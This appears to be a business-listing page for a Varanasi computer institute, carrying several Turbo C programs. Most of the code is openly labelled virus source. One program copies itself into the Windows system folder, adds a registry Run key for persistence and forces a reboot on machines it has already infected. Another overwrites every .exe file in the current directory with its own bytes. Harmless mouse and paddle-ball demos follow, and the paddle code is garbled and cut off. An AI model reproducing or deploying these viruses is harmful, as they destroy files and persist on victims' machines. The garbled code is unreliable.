Byte&bits
Byte&Bits a institute which tries to help and educate(Not teach) students with the recent and advanced technologies as well as the fundamentals of computer
Byte&Bits is a institute which tries to help and educate(Not teach) students with the recent and advanced technologies as well as the fundamentals of Computer system including RedHat,Oracle,Java,C++,C etc. Its a unit of MMITGM(Mahamana Malviya Institute of Technology for Ganga Management)and believes in the best education to be delivered to the students.
//A system residential and auto startup virus program
// Don't infect anyone this is for your knowledge only
int found,drive_no;
char buff[128];
void findroot()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst("C:\\windows\\system",&ffblk,FA_DIREC); //to determine the root drive
if(done==0)
{
done=findfirst("C:\\windows\\system\\sysres.exe",&ffblk,0); //to determine whether the virus is already installed or not
if(done==0)
{
found=1; //means that the system is already infected
return;
}
drive_no=1;
return;
}
done=findfirst("D:\\windows\\system",&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst("D:\\windows\\system\\sysres.exe",&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=2;
return;
}
done=findfirst("E:\\windows\\system",&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst("E:\\windows\\system\\sysres.exe",&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=3;
return;
}
done=findfirst("F:\\windows\\system",&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst("F:\\windows\\system\\sysres.exe",&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=4;
return;
}
else
exit(0);
}
void main()
{
FILE *self,*target;
findroot();
if(found==0) //if the system is not already infected
{
self=fopen(_argv[0],"rb"); //The virus file open's itself
switch(drive_no)
{
case 1:
target=fopen("C:\\windows\\system\\sysres.exe","wb");//to place a copy of itself in a remote place
system("REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \/v sres \/t REG_SZ \/d C:\\windows\\system\\sysres.exe");//put this file to registry for starup
break;
case 2:
target=fopen("D:\\windows\\system\\sysres.exe","wb");
system("REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \/v sres \/t REG_SZ \/d D:\\windows\\system\\sysres.exe");
break;
case 3:
target=fopen("E:\\windows\\system\\sysres.exe","wb");
system("REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \/v sres \/t REG_SZ \/d E:\\windows\\system\\sysres.exe");
break;
case 4:
target=fopen("F:\\windows\\system\\sysres.exe","wb");
system("REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \/v sres \/t REG_SZ \/d F:\\windows\\system\\sysres.exe");
break;
default:
exit(0);
}
while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}
else
system("shutdown -r -t 0");//if the system is already infected then just give a command to restart
}
//Simple Virus which Infects the exe file in current directory
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst("*.exe",&ffblk,0); //Search for a file with any extension (*.*)
while(!done)
{
virus=fopen(_argv[0],"rb");
host=fopen(ffblk.ff_name,"rb+");
if(host==NULL) goto next;
x=89088;
printf("Infecting %s\n",ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf("DONE! (Total Files Infected= %d)",a);
end=clock();
printf("TIME TAKEN=%f SEC\n",
(end-st)/CLK_TCK);
getch();
}
//A simple paddle ball using graphics and mouse
int initm();
void showm();
void clickm();
union REGS i, o;
void main()
{
int status,d=DETECT,ig;
clrscr();
gotoxy(19,20);
printf("press Left & Right together to exit");
initgraph(&d,&ig,"");
status = initm();
if ( status == 0 )
printf("Mouse support not available.\n");
else
showm();
clickm();
}
int initm()
{
i.x.ax = 0;
int86(0X33,&i,&o);
return ( o.x.ax );
}
void showm()
{
i.x.ax = 1;
int86(0X33,&i,&o);
}
void clickm()
{
int x=1,flagx=1,flagy=1;
float bx=10,by=10;
i.x.ax=2;
int86(0x33,&i,&o);
i.x.ax=3;
int86(0x33,&i,&o);
while(o.x.bx!=3)
{
i.x.ax=3;
int86(0x33,&i,&o);
setcolor(WHITE);
if(bx-5=getmaxx())
flagx=0;
if(by-5=getmaxy())
bx=10,by=10;
if(bx>=x && bx=440)
flagx=0,flagy=0;
else if(bx>=x+25 && bx=440)
flagx=1,flagy=0;
if(flagx==1)
bx+=.3;
else
bx-=.3;
if(flagy==1)
by+=.5;
else
by-=.5;
circle(bx,by,5);
delay(1);
setcolor(0);
circle(bx,by,5);
gotoxy(1,3),printf("X=%d:Y=%d",o.x.cx,o.x.dx);
if(o.x.cx!=x && o.x.cx+50
//A simple program to activate and read mouse through C
//enable this for graphics mode
int initm();
void showm();
void clickm();
union REGS i, o;
void main()
{
int status,d=DETECT,ig;
clrscr();
gotoxy(19,20);
printf("press Left & Right together to exit");
// initgraph(&d,&ig,""); // enable this for graphics mode
status = initm();
if ( status == 0 )
printf("Mouse support not available.\n");
else
showm();
clickm();
}
int initm()
{
i.x.ax = 0;//Service number of mouse interrupt to get status of mouse
int86(0X33,&i,&o);//calling mouse interrupt
return ( o.x.ax );
}
void showm()
{
i.x.ax = 1;//1 service number to show the pointer, 2 to hide the pointer, 3 to read the clicks and x,y coordinates
int86(0X33,&i,&o);
}
void clickm()
{
i.x.ax=3;
int86(0x33,&i,&o);
while(o.x.bx!=3)
{
i.x.ax=3;
int86(0x33,&i,&o);
gotoxy(1,3),printf("X=%d:Y=%d",o.x.cx,o.x.dx);
if(o.x.bx==1)
gotoxy(1,1),printf("Left Click at X=%d:Y=%d",o.x.cx,o.x.dx);
else if(o.x.bx==2)
gotoxy(1,1),printf("Right Click at X=%d:Y=%d",o.x.cx,o.x.dx);
}
}
Click here to claim your Sponsored Listing.
Category
Contact the business
Telephone
Website
Address
B36/21 C-6, Brahmanand Ext-1, Durgakund
Varanasi
221005